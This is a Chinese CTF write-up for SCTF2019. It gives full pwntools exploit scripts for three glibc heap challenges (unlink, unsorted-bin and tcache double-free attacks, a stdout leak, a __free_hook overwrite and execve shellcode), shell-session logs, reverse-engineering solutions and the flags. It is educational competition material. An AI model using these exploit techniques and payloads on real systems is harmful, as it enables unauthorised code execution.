SCTF2019 writeups

题目文件:https://github.com/Ex-Origin/ctf-writeups/tree/master/sctf2019

pwn: easy_heap

靶机的glibc是2.23

安全防护

ex@Ex:~/sctf/easy_heap$ checksec easy_heap
[*] '/home/ex/sctf/easy_heap/easy_heap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

溢出点

off by one 漏洞。

unsigned __int64 __fastcall sub_E2D(__int64 a1, unsigned __int64 a2)
{
  char buf; // [rsp+13h] [rbp-Dh]
  int i; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  for ( i = 0; i < a2; ++i )
  {
    if ( read(0, &buf, 1uLL) <= 0 )
    {
      perror("Read failed!\n");
      exit(-1);
    }
    if ( buf == 10 )
      break;
    *(_BYTE *)(a1 + i) = buf;
  }
  if ( i == a2 )
    *(_BYTE *)(i + a1) = 0;
  return __readfsqword(0x28u) ^ v5;
}

分析

不能泄露libc地址,需要部分覆盖。

思路

  1. unlink
  2. unsorted bin attached

unlink

index_1进行unlink,使得index_0指针可控,实现任意地址写。

image_base_addr = Alloc(0x38) - 0x202068 # index 0
log.info("image_base_addr: " + hex(image_base_addr))

Alloc(0x38) # index 1
Alloc(0xf8) # index 2
Alloc(0x18) # index 3

fake_chunk = [
    0, 0x31,
    image_base_addr + 0x202078 - 0x18, image_base_addr + 0x202078 - 0x10,
]

Fill(1, flat(fake_chunk).ljust(0x30, 'a') + p64(0x30))
# unlink
Delete(2)

执行后:

pwndbg> pr
0x556a88b88060: 0x0000000000000038  0x0000556a8947a010
0x556a88b88070: 0x0000000000000038  0x0000556a88b88060
0x556a88b88080: 0x0000000000000000  0x0000000000000000
0x556a88b88090: 0x0000000000000018  0x0000556a8947a190
0x556a88b880a0: 0x0000000000000000  0x0000000000000000
0x556a88b880b0: 0x0000000000000000  0x0000000000000000
0x556a88b880c0: 0x0000000000000000  0x0000000000000000
0x556a88b880d0: 0x0000000000000000  0x0000000000000000

unsorted bin attached

利用unsorted bin attachedmain_arena+88写入到index_0中,然后部分覆盖,将main_arena+88覆盖为__malloc_hook,在把mmap_addr地址写入即可。

Fill(1, p64(0x100) + '\x68')
Fill(0, p64(image_base_addr + 0x202068 - 0x10))

Alloc(0x128)

Fill(1, p64(0x100) + '\x10')
Fill(0, p64(mmap_addr))

执行后:

pwndbg> pr
0x556a88b88060: 0x0000000000000100  0x00007ffb2f78eb10
0x556a88b88070: 0x0000000000000038  0x0000556a88b88060
0x556a88b88080: 0x0000000000000128  0x0000556a8947a060
0x556a88b88090: 0x0000000000000018  0x0000556a8947a190
0x556a88b880a0: 0x0000000000000000  0x0000000000000000
0x556a88b880b0: 0x0000000000000000  0x0000000000000000
0x556a88b880c0: 0x0000000000000000  0x0000000000000000
0x556a88b880d0: 0x0000000000000000  0x0000000000000000
pwndbg> p &__malloc_hook 
$1 = (void *(**)(size_t, const void *)) 0x7ffb2f78eb10 <__malloc_hook>

完整脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys

# Create a symbol file for GDB debugging
try:
    gdb_symbols = '''

    '''

    f = open('/tmp/gdb_symbols.c', 'w')
    f.write(gdb_symbols)
    f.close()
    os.system('gcc -g -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
except Exception as e:
    print(e)

context.arch = "amd64"
# context.log_level = 'debug'
execve_file = './easy_heap'
# sh = process(execve_file, env={"LD_PRELOAD": "/tmp/gdb_symbols.so"})
sh = process(execve_file)
# sh = remote('132.232.100.67', 10004)
elf = ELF(execve_file)
libc = ELF('./libc-2.23.so')

# Create temporary files for GDB debugging
try:
    gdbscript = '''
    set  $ptr=(void **)$rebase(0x202060)
    define pr
        x/16gx $ptr
        end
    '''

    f = open('/tmp/pid', 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdbscript', 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    print(e)

def Alloc(size):
    sh.sendlineafter('>> ', '1')
    sh.sendlineafter('Size: ', str(size))
    sh.recvuntil('Pointer Address ')
    return int(sh.recvline(), 16)

def Delete(index):
    sh.sendlineafter('>> ', '2')
    sh.sendlineafter('Index: ', str(index))

def Fill(index, content):
    sh.sendlineafter('>> ', '3')
    sh.sendlineafter('Index: ', str(index))
    sh.sendlineafter('Content: ', content)

sh.recvuntil('Mmap: ')
mmap_addr = int(sh.recvline(), 16)
log.info("mmap_addr: " + hex(mmap_addr))

image_base_addr = Alloc(0x38) - 0x202068 # index 0
log.info("image_base_addr: " + hex(image_base_addr))

Alloc(0x38) # index 1
Alloc(0xf8) # index 2
Alloc(0x18) # index 3

fake_chunk = [
    0, 0x31,
    image_base_addr + 0x202078 - 0x18, image_base_addr + 0x202078 - 0x10,
]

Fill(1, flat(fake_chunk).ljust(0x30, 'a') + p64(0x30))
# unlink
Delete(2)

Fill(1, p64(0x100) + '\x68')
Fill(0, p64(image_base_addr + 0x202068 - 0x10))

Alloc(0x128)

Fill(1, p64(0x100) + '\x10')
Fill(0, p64(mmap_addr))

Fill(1, p64(0x100) + p64(mmap_addr))

shellcode = asm('''
mov rax, 0x0068732f6e69622f
push rax

mov rdi, rsp
xor rsi, rsi
mul rsi
mov al, 59
syscall

xor rdi, rdi
mov al, 60
syscall
''')

Fill(0, shellcode)

sh.sendlineafter('>> ', '1')
sh.sendlineafter('Size: ', str(8))

sh.interactive()

运行实例

ex@Ex:~/sctf/easy_heap$ python exp.py 
[+] Opening connection to 132.232.100.67 on port 10004: Done
[*] '/home/ex/sctf/easy_heap/easy_heap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/ex/sctf/easy_heap/libc-2.23.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
list index out of range
[*] mmap_addr: 0x48111c1000
[*] image_base_addr: 0x557efd70d000
[*] Switching to interactive mode
$ ls
bin
dev
easy_heap
flag
lib
lib32
lib64
$ cat flag
sctf{4110c_D3l37_Fi11_r3pe7}
$  

pwn: two_heap

靶机的glibc是2.26

安全防护

ex@Ex:~/sctf/two_heap$ checksec two_heap
[*] '/home/ex/sctf/two_heap/two_heap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

溢出点

main中有明显的格式化字符串漏洞:

read_n(&v4, 11);
__printf_chk(1LL, &v4, 0xFFFFFFFFLL, 0xFFFFFFFFLL, 0xFFFFFFFFLL);

delete函数中存在double free

void delete()
{
  __int64 index; // rax
  unsigned __int64 v1; // [rsp+8h] [rbp-10h]

  v1 = __readfsqword(0x28u);
  puts("Input the index:");
  index = (signed int)get_int();
  if ( (unsigned __int64)(signed int)index > 7 )
    exit(0);
  if ( __readfsqword(0x28u) == v1 )
    free((&off_4020)[2 * index + 1]);
}

思路

  1. 泄露地址
  2. double free

泄露地址

利用格式化字符串漏洞泄露libc基地址,由于使用的是__printf_chk函数,所以我们利用printf的浮点特性来泄露rsp + 0x50之后的值。

pwndbg> stack
... 
0a:0050│   0x7ffd07de3120 ◂— 0x0
0b:0058│   0x7ffd07de3128 —▸ 0x7f4261be76f0 —▸ 0x7ffd07df7000 ◂— jg     0x7ffd07df7047
0c:0060│   0x7ffd07de3130 ◂— 0x0
0d:0068│   0x7ffd07de3138 —▸ 0x7f4261aa96fd ◂— test   rax, rax
0e:0070│   0x7ffd07de3140 —▸ 0x7f4261bdd720 ◂— 0xfbad2887
0f:0078│   0x7ffd07de3148 —▸ 0x7f4261aa96fd ◂— test   rax, rax

通过上面的调试发现,0x70也就是第三个浮点参数那里可以泄露地址。

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys

# Create a symbol file for GDB debugging
try:
    gdb_symbols = '''

    '''

    f = open('/tmp/gdb_symbols.c', 'w')
    f.write(gdb_symbols)
    f.close()
    os.system('gcc -g -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
except Exception as e:
    print(e)

context.arch = "amd64"
# context.log_level = 'debug'
execve_file = './two_heap'
sh = process(execve_file, env={"LD_PRELOAD": "/tmp/gdb_symbols.so:./libc-2.26.so"})
# sh = process(execve_file)
# sh = remote('47.104.89.129',10002)
elf = ELF(execve_file)
libc = ELF('./libc-2.26.so')

# Create temporary files for GDB debugging
try:
    gdbscript = '''
    set $im=$rebase(0)
    def of
        p/x $arg0-$im
        end

    b *$rebase(0x1174)
    '''

    f = open('/tmp/pid', 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdbscript', 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    print(e)

def New(size, content):
    sh.sendlineafter('Your choice:', '1')
    sh.sendlineafter('Input the size:\n', str(size))
    sh.sendafter('Input the note:', content)

def delete(index):
    sh.sendlineafter('Your choice:', '2')
    sh.sendlineafter('Input the index:\n', str(index))

# pause()
sh.sendafter('Welcome to SCTF:\n', '%f%f#%a\n')
sh.recvuntil('#')
result = sh.recvline()

data = int(result[5:-7], 16) * 0x10
libc_addr = data - libc.symbols['_IO_2_1_stdout_']
log.success("libc addr: " + hex(libc_addr))

New(0, '')
delete(0)
delete(0)
New(8, p64(libc_addr + libc.symbols['__free_hook']))
New(0x10, '/bin/sh\0\n')
New(0x18, p64(libc_addr + libc.symbols['system']) + '\n')

delete(2)

sh.interactive()

pwn: one_heap

靶机环境是glibc-2.27。

安全防护

ex@Ex:~/sctf/one_heap$ checksec one_heap
[*] '/home/ex/sctf/one_heap/one_heap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

溢出点

delete函数中存在double free漏洞。

void __cdecl delete()
{
  if ( !free_times )
    exit(0);
  free(ptr);
  puts("Done!");
  --free_times;
}

程序的难点在于可以free的次数只有4次,而且没有明显的泄露点。

思路

  1. tcache perthread corruption
  2. attack stdout leak libc base
  3. hijack hook

tcache perthread corruption

每个线程通过一个tcache_perthread_struct线程本地变量保存tcache bin以及相关的chunk计数。如果我们能够修改tcache_perthread_struct这个结构体的内容,就可以完全控制malloc的内存分配。

tcache_perthread_struct保存在heap的头部,所以可以直接double free后进行部分覆盖从而控制tcache_perthread_struct

New(0x68, '\n')
delete()
delete()

if(len(sys.argv) > 1):
    value = hook1 + 0x10
    New(0x68, p64(value)[:2] + '\n')
else:
    New(0x68, '\x10\x10' + '\n')

New(0x68, '\n')

调试结果如下:

pwndbg> tcachebins 
tcachebins
0x70 [  0]: 0x557c58293010 ◂— 0x0
pwndbg> heap
0x557c58293000 PREV_INUSE {
  mchunk_prev_size = 0, 
  mchunk_size = 593, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

之后 freetcache_perthread_struct,使其放入usorted bin,然后tcache上就会因为usorted bin的 分配而被写上main_arena的地址,在对main_arena的地址进行部分覆盖,实现控制_IO_2_1_stdout_

New(0x68, '\xFF' * 0x40 + '\n')
delete()

# pause()
New(0x48, '\xFF' * 0x40 + '\n')

if(len(sys.argv) > 1):
    value = hook2 + libc.symbols['_IO_2_1_stdout_']
    print(hex(value))

    New(0x18, p64(value)[:2] + '\n')
else:
    New(0x18, '\x60\x67' + '\n')

调试结果:

pwndbg> tcachebins 
tcachebins
0x20 [ -1]: 0x0
0x30 [ -1]: 0x21
0x40 [ -1]: 0x7f25f054b760 (_IO_2_1_stdout_) ◂— 0xfbad2887
0x50 [ -1]: 0x7f25f054aca0 (main_arena+96) —▸ 0x55cd61dcf2f0 ◂— 0x0
0x60 [ -1]: 0x0
0x70 [ -1]: 0x1e1
0x80 [ -1]: 0x7f25f054aca0 (main_arena+96) —▸ 0x55cd61dcf2f0 ◂— 0x0
0x90 [ -1]: 0x7f25f054aca0 (main_arena+96) —▸ 0x55cd61dcf2f0 ◂— 0x0
0xa0 [ -1]: 0x0
0xb0 [ -1]: 0x0
...

attack stdout leak libc base

修改stdout_IO_write_base来实现地址泄露,通过调试发现可以泄露出_IO_2_1_stdin_的地址。从而计算出libc地址。

pwndbg> p stdout->_IO_write_base 
$1 = 0x7f25f054b7e3 <_IO_2_1_stdout_+131> "\n"
pwndbg> x/4gx 0x7f25f054b7e0-0x20
0x7f25f054b7c0 <_IO_2_1_stdout_+96>:  0x0000000000000000  0x00007f25f054aa00
0x7f25f054b7d0 <_IO_2_1_stdout_+112>: 0x0000000000000001  0xffffffffffffffff
pwndbg> x/gx 0x00007f25f054aa00
0x7f25f054aa00 <_IO_2_1_stdin_>:  0x00000000fbad208b

对应的脚本:

layout = [
    0xfbad3c80, #_flags= ((stdout->flags & ~ _IO_NO_WRITES)|_IO_CURRENTLY_PUTTING)|_IO_IS_APPENDING
    0,          # _IO_read_ptr
    0,          # _IO_read_end
    0,          # _IO_read_base
]

# overwrite last byte of _IO_write_base to point to libc address
payload = flat(layout) + '\xc8'
New(0x38, payload + '\n')

_IO_2_1_stdin__addr = u64(sh.recvn(8))
log.success("_IO_2_1_stdin__addr: " + hex(_IO_2_1_stdin__addr))

libc_addr = _IO_2_1_stdin__addr - libc.symbols['_IO_2_1_stdin_']
log.success("libc_addr: " + hex(libc_addr))

完整脚本

总共需要两次部分覆盖,所以概率是1/256

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = ''

def clear(signum=None, stack=None):
    print('Strip  all debugging information')
    os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
    exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: 
    signal.signal(sig, clear)

# Create a symbol file for GDB debugging
try:
    gdb_symbols = '''
    #include <stdio.h>
    #include <unistd.h>
    #include <dlfcn.h>

    void _init()
    {
        char *heap_addr = sbrk(0), *libc_addr = *(char **)dlopen("libc.so.6", RTLD_LAZY);;
        write(1, &heap_addr, 8);
        write(1, &libc_addr, 8);
    }
    '''

    f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
    f.write(gdb_symbols)
    f.close()
    os.system('gcc -fPIC -shared -g /tmp/gdb_symbols{}.c -c -o /tmp/gdb_symbols{}.o && ld -shared -ldl /tmp/gdb_symbols{}.o -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
    print(e)

context.arch = "amd64"
# context.log_level = 'debug'
execve_file = './one_heap'
sh = 0
if(len(sys.argv) > 1):
    sh = process(execve_file, env={"LD_PRELOAD": '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
else:
    sh = process(execve_file)
elf = ELF(execve_file)
libc = ELF('./libc-2.27.so')

# Create temporary files for GDB debugging
try:
    gdbscript = '''
    set $ptr=(void **)$rebase(0x202050)
    '''

    f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    print(e)

def New(size, content):
    sh.sendlineafter('Your choice:', '1')
    sh.sendlineafter('Input the size:', str(size))
    sh.sendafter('Input the content:', content)

def delete():
    sh.sendlineafter('Your choice:', '2')

hook1 = 0
hook2 = 0
if(len(sys.argv) > 1):
    hook1 = u64(sh.recvn(8))
    log.info("hook1: " + hex(hook1))
    hook2 = u64(sh.recvn(8))
    log.info("hook2: " + hex(hook2))

New(0x68, '\n')
delete()
delete()

if(len(sys.argv) > 1):
    value = hook1 + 0x10
    New(0x68, p64(value)[:2] + '\n')
else:
    New(0x68, '\x10\x10' + '\n')

New(0x68, '\n')
New(0x68, '\xFF' * 0x40 + '\n')
delete()

# pause()
New(0x48, '\xFF' * 0x40 + '\n')

if(len(sys.argv) > 1):
    value = hook2 + libc.symbols['_IO_2_1_stdout_']
    New(0x18, p64(value)[:2] + '\n')
else:
    New(0x18, '\x60\x67' + '\n')

layout = [
    0xfbad3c80, #_flags= ((stdout->flags & ~ _IO_NO_WRITES)|_IO_CURRENTLY_PUTTING)|_IO_IS_APPENDING
    0,          # _IO_read_ptr
    0,          # _IO_read_end
    0,          # _IO_read_base
]

# overwrite last byte of _IO_write_base to point to libc address
payload = flat(layout) + '\xc8'
New(0x38, payload + '\n')

_IO_2_1_stdin__addr = u64(sh.recvn(8))
log.success("_IO_2_1_stdin__addr: " + hex(_IO_2_1_stdin__addr))

libc_addr = _IO_2_1_stdin__addr - libc.symbols['_IO_2_1_stdin_']
log.success("libc_addr: " + hex(libc_addr))

New(0x18, p64(libc_addr + libc.symbols['__free_hook'] - 0x10) + '\n' )
New(0x78, '/bin/sh\0'.ljust(0x10, '\0') + p64(libc_addr + libc.symbols['system']) + '\n')

delete()

sh.interactive()
clear()

运行实例:

ex@Ubuntu:~/test$ ./exp.sh ./exp.py
...
times 111

[+] Starting local process './one_heap': pid 28693
[*] '/home/ex/test/one_heap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled
[*] '/home/ex/test/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] _IO_2_1_stdin__addr: 0x7febf2fb5a00
[+] libc_addr: 0x7febf2bca000
[*] Switching to interactive mode
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex)
Strip  all debugging information
$

RE:babyre

就是三个挑战

三维迷宫

反汇编可得迷宫:

*****
*****
****.
****.
**s..

*..**
****.
****.
*****
*****

*..**
*..**
..#*.
.***.
.***.

*****
*****
*****
*****
.**..

*****
**..*
*...*
..*.*
.**.*

方法:

w -5
s +5
d +1
a -1
x +25
y -25

所以路径是ddwwxxssxaxwaasayywwdd

字符处理

我们输入的字符将在loc_C22函数进行处理,然后和sctf_9012进行匹配。

.text:0000000000000ADE                 lea     edi, aPlzTellMeThePa ; "plz tell me the password2:"
.text:0000000000000AE4                 call    _puts
.text:0000000000000AE9                 lea     rax, [rbp-110h]
.text:0000000000000AF0                 mov     rsi, rax
.text:0000000000000AF3                 lea     rdi, aS         ; "%s"
.text:0000000000000AFA                 mov     eax, 0
.text:0000000000000AFF                 call    _scanf
.text:0000000000000B04                 lea     rdx, [rbp-0F0h]
.text:0000000000000B0B                 lea     rax, [rbp-110h]
.text:0000000000000B12                 mov     rsi, rdx
.text:0000000000000B15                 mov     rdi, rax
.text:0000000000000B18                 call    loc_C22
.text:0000000000000B1D                 lea     rdx, [rbp-13Ah]
.text:0000000000000B24
.text:0000000000000B24 loc_B24:                                ; CODE XREF: .text:loc_ADCj
.text:0000000000000B24                 lea     rax, [rbp-0F0h]
.text:0000000000000B2B                 mov     rsi, rdx
.text:0000000000000B2E                 mov     rdi, rax
.text:0000000000000B31                 call    strcmp
.text:0000000000000B36                 cmp     eax, 1
.text:0000000000000B39                 setz    al
.text:0000000000000B3C                 test    al, al
.text:0000000000000B3E                 jz      short loc_BA7
.text:0000000000000B40                 lea     rdi, aCongratulation ; "Congratulation!"
.text:0000000000000B47                 call    _puts

调试发现loc_C22是一个4字节向三字节映射的关系,进行爆破。

// gcc -fPIC -O3 -shared hook.c -c -o hook.o
// ld -shared -ldl hook.o -o hook.so
#include <stdio.h>
#include <dlfcn.h>

typedef void (*FUNC)(char *, char *);

void _init()
{
    FUNC func;
    char *printable = "_0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
    #define LENGTH 63
    char in[8], out[8];
    char *image_base = *(void **)dlopen(NULL, 1);
    printf("Image base: %p\n", image_base);
    func = image_base + 0xC22;
    *(size_t *)in = 0;
    for (int i = 0; i < LENGTH; i++)
    {
        in[0] = printable[i];
        for (int ii = 0; ii < LENGTH; ii++)
        {
            in[1] = printable[ii];
            for (int iii = 0; iii < LENGTH; iii++)
            {
                in[2] = printable[iii];
                for (int iiii = 0; iiii < LENGTH; iiii++)
                {
                    in[3] = printable[iiii];
                    *(size_t *)out = 0;
                    func(in, out);
                    switch(*(size_t *)out)
                    {
                    case 0x746373:
                        fprintf(stderr, "%s -> %s\n",in, out);
                        break;
                    case 0x395F66:
                        fprintf(stderr, "%s -> %s\n",in, out);
                        break;
                    case 0x323031:
                        fprintf(stderr, "%s -> %s\n",in, out);
                        break;
                    }
                }
            }
        }
    }
    printf("over\n");
    exit(0);
}

运行实例:

ex@Ex:~/sctf/babyre$ LD_PRELOAD=./hook.so ./babygame
Image base: 0x559ccb697000
c2N0 -> sct
MTAy -> 102
Zl85 -> f_9
over

所以第二问是c2N0Zl85MTAy

可逆函数

分析发现第三问是一个可逆函数。

array[30]

array[x+4] = array[x+0] ^ f(array[x+1] ^ array[x+2] ^ array[x+3])

f(x)函数依赖于x。所以直接将公式倒置即可。

// gcc -fPIC -O3 -shared hook2.c -c -o hook2.o
// ld -shared -ldl hook2.o -o hook2.so
#include <stdio.h>
#include <dlfcn.h>

typedef int (*FUNC)(int);

void _init()
{
    FUNC func;
    int array[0x100] = {0};
    array[0] = 0xD8BF92EF;
    array[1] = 0x9FCC401F;
    array[2] = 0xC5AF7647;
    array[3] = 0xBE040680;

    char *image_base = *(void **)dlopen(NULL, 1);
    printf("Image base: %p\n", image_base);
    func = image_base + 0x1464;
    for (int i = 0; i < 26; i++)
    {
        array[i + 4] = array[i] ^ func(array[i+1] ^ array[i+2] ^ array[i+3]);
    }

    for(int i=3;i>=0;i--)
    {
        printf("%08X\n", array[26 + i]);
        printf("%c%c%c%c\n", ((char *)&array[26 + i])[0], ((char *)&array[26 + i])[1], ((char *)&array[26 + i])[2], ((char *)&array[26 + i])[3]);
    }
    printf("over\n");
    exit(0);
}

运行实例:

ex@Ex:~/sctf/babyre$ LD_PRELOAD=./hook2.so ./babygame
Image base: 0x562b0a9e9000
67346C66
fl4g
5F73695F
_is_
755F3073
s0_u
21793167
g1y!
over

所以第三问答案就是fl4g_is_s0_ug1y!

结果:

ex@Ex:~/sctf/babyre$ cat answer | ./babygame 
plz tell me the shortest password1:
good!you find the right way!
But there is another challenge!
plz tell me the password2:
Congratulation!
Now,this is the last!
plz tell me the password3:
Congratulation!Here is your flag!:
sctf{ddwwxxssxaxwwaasasyywwdd-c2N0Zl85MTAy(fl4g_is_s0_ug1y!)}